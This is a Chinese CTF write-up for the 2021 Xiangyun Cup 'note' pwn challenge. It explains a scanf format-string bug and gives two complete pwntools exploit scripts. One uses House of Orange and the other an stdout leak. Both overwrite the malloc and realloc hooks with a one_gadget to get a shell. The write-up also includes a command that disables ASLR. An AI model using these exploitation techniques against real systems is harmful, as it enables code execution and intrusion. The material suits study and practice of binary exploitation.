保护全开
代码审计本来是一个很简单的题
但是关于格式化字符对应的byte或者str().encode输入弄了我半天
有增和查,没删,主要就是say里有个scanf的格式化字符串利用
__int64 say()
{
char buf[104]; // [rsp+0h] [rbp-70h] BYREF
unsigned __int64 v2; // [rsp+68h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("say ? ");
read(0, buf, 0x64uLL);
printf("? ");
__isoc99_scanf(buf);
printf("know");
return 0LL;
}
对于 %d,要以str().encode形式读入数据
对于 %s,可以以p64()的形式读入数据
%d个人用起来太麻烦了,所以用%s
至于偏移为7,是因为前五个在寄存器里,栈上就是第六个了,而栈上的第一个参数就是我们的buf,地址正好写到第七个的位置
由于add的时候会告诉你这个地址,其实也就是得到了基址,用格式化字符串取改掉top_size,再改__realloc_hook和__malloc_hook
from pwn import*
context(os='Linux',log_level = 'debug',arch='amd64')
name="note"
elf=ELF("./"+name)
local=1
v64=1
port=28524
IP="node4.buuoj.cn"
if local:
p=process("./"+name)
if v64:
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
else:
p=remote(IP,port)
if v64:
libc=ELF("/home/squirrel/桌面/buulibc/16/64/libc-2.23.so")
else:
libc=ELF("/home/squirrel/桌面/buulibc/16/32/libc-2.23.so")
def dbg():
gdb.attach(p)
pause()
'''
sed -i s/alarm/isnan/g ./test
sudo -s echo 0 > /proc/sys/kernel/randomize_va_space
libcbase=printf-libc.sym['printf']
system=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search(b'/bin/sh')))
'''
ogg64=[0x45226,0x4527a,0xf03a4,0xf1247]
sssssss="%i$n"
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b'x00'))
uu64 = lambda data :u64(data.ljust(8, b'x00'))
info = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr))
ir = lambda :p.interactive()
def choice(i):
sla("choice: ",str(i))
def add(size,content="s"):
choice(1)
sla(":",str(size))
sa(":",content)
def show():
choice(3)
def say(say,say2):
choice(2)
sa('say ? ',say)
sla('? ',say2)
def exp(i):
add(0x30)
ru("addr: ")
leak=int(rc(14),16)
info("leak",leak)
# House of Orange
top=leak+0x30
pl=b"%7$saaaa"+p64(top+8)
say(pl,p64(0xfc1))
# The maximum allocated byte is 0x100
for i in range(0xf-1):
add(0x100)
add(0x100)# mmap
add(0xb0)# main_arena+xx
show()
ru("content:")
leak2=uu64(ru('x7f')[-6:])
info("leak2",leak2)
libc_base=leak2-(0x7fc43a5feb73-0x7fc43a23a000)
info("libc_base",libc_base)
mh=libc_base+libc.sym['__malloc_hook']
rl=libc_base+libc.sym['realloc']
rh=libc_base+libc.sym['__realloc_hook']
info("malloc hook",mh)
ogg=ogg64[1]+libc_base
pl=b"%7$saaaa"+p64(rh)
info("ogg",ogg)
say(pl,p64(ogg)+p64(rl+i))
sl("1")
sl("16")
if __name__=="__main__":
exp(6)
sl("cat flag")
ir()
stdout
在栈上可能会有_IO_2_1_stdout_
用stdout泄漏libc,然后打法一样了
from pwn import*
context(os='Linux',log_level = 'debug',arch='amd64')
name="note"
elf=ELF("./"+name)
local=1
v64=1
port=28524
IP="node4.buuoj.cn"
if local:
p=process("./"+name)
if v64:
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
else:
p=remote(IP,port)
if v64:
libc=ELF("/home/squirrel/桌面/buulibc/16/64/libc-2.23.so")
else:
libc=ELF("/home/squirrel/桌面/buulibc/16/32/libc-2.23.so")
def dbg():
gdb.attach(p)
pause()
'''
sed -i s/alarm/isnan/g ./test
sudo -s echo 0 > /proc/sys/kernel/randomize_va_space
libcbase=printf-libc.sym['printf']
system=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search(b'/bin/sh')))
'''
ogg64=[0x45226,0x4527a,0xf03a4,0xf1247]
sssssss="%i$n"
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b'x00'))
uu64 = lambda data :u64(data.ljust(8, b'x00'))
info = lambda tag, addr :p.info('======>'+tag + ': {:#x}'.format(addr))
ir = lambda :p.interactive()
def choice(i):
sla("choice: ",str(i))
def add(size,ct="s"):
choice(1)
sla('size: ',str(size))
sla('content: ',ct)
def show():
choice(3)
def say(say,say2):
choice(2)
sa('say ? ',say)
sla('? ',say2)
def exp(i):
pl=p64(0xfbad1800)+p64(0)*3
# debuging
# choice(2)
# gdb.attach(p)
# sl("AA")
say('%7$s'+'x00'*4,pl)
leak_libc=uu64(ru('x7f')[-6:])
libc_base=leak_libc-(0x7ffff7dd06e0-0x7ffff7a0d000)
info("leak_libc",leak_libc)
info("libc_base",libc_base)
ogg=ogg64[1]+libc_base
mh=libc_base+libc.sym['__malloc_hook']
realloc=libc_base+libc.sym['realloc']
pl=b'%7$s'+b'x00'*4+p64(mh-8)
pl2=p64(ogg)+p64(realloc+i)
say(pl,pl2)
choice(1)
sla(":",str(16))
#dbg()
if __name__=="__main__":
exp(6)
sl("cat flag")
ir()


![pwn-2021祥云杯-note[堆中的格式化字符串利用+stdio泄漏libc or House of Orange] pwn-2021祥云杯-note[堆中的格式化字符串利用+stdio泄漏libc or House of Orange]](http://www.mshxw.com/aiimages/31/613629.png)
